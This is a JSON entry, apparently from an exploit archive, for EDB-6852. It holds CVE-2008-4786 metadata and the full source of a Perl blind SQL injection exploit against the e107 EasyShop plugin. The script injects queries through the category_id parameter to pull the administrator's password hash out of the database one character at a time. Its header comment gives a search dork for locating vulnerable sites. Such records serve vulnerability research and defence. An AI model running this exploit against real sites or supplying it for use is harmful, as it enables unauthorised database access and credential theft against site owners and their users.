{"exploit":{"id":"EDB-6852","name":"e107 Plugin EasyShop - 'category_id' Blind SQL Injection (SQLi)","description":"e107 Plugin EasyShop - 'category_id' Blind SQL Injection (SQLi)","cves":["CVE-2008-4786"],"author":"StAkeR","published":"2008-10-27","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/6852","path":"exploits/php/webapps/6852.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-6852.pl","vulnerabilities":[{"id":"CVE-2008-4786","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in easyshop.php in the EasyShop plugin for e107 allows remote attackers to execute arbitrary SQL commands via the category_id parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-4786","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-4786"},"updatedAt":"2024-08-07T10:31:27.345Z","retrievedAt":"2026-11-27T02:11:32.663Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-6852.png?v=2","url":"https://exploitbin.com/exploits/EDB-6852","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-6852/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-6852/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n# ------------------------------------------------------------\n# e107 (Plugin EasyShop) Remote Blind SQL Injection Exploit\n# By StAkeR[at]hotmail[dot]it\n# Dork allinurl: e107_plugins/easyshop/easyshop.php\n# Example http://www.clan-designs.co.uk\n# easyshop/easyshop.php?choose_category=1&category_id= or 1=1\n# easyshop/easyshop.php?choose_category=1&category_id= and 1=2\n# ------------------------------------------------------------\n\nuse strict;\nuse warnings;\nuse LWP::UserAgent;\nuse URI::Escape;\n\nmy ($request,$send,$ord,$hash,$uid) = (undef,undef,undef,undef,1);\n\nmy $host = shift @ARGV or die \"[?] Usage: perl $0 http://[host]\\n\";\nmy @chars = (48..57, 97..102);\nmy $http = new LWP::UserAgent;\n\nfor(0..32)\n{\n   foreach $ord(@chars)\n   {\n      $send = \" or ascii(substring((select user_password from e107_user where user_id=1),$uid,1))=$ord/*\";\n      $send = uri_escape($send);\n\n      $request = $http->get($host.\"/e107_plugins/easyshop/easyshop.php?choose_category=1&category_id=-1\".$send);\n\n     if($request->is_success and $request->content !~ /No products available/i)\n     {\n        $hash .= chr($ord);\n        $uid++;\n     }\n   }\n}\n\nif(defined $hash)\n{\n   print STDOUT \"[+] MD5: $hash\\n\";\n   exit;\n}\nelse\n{\n   print STDOUT \"[?] Exploit Failed!\\n\";\n   exit;\n}\n\n# milw0rm.com [2008-10-27]","sha256":"9b631d725c0386ea7cfa4897618f8e65673d46a1489762f77db52a150af89426","bytes":1309,"fetchedAt":"2026-11-27T02:11:32.439Z","encoding":"utf-8 (display only; download retains original bytes)"}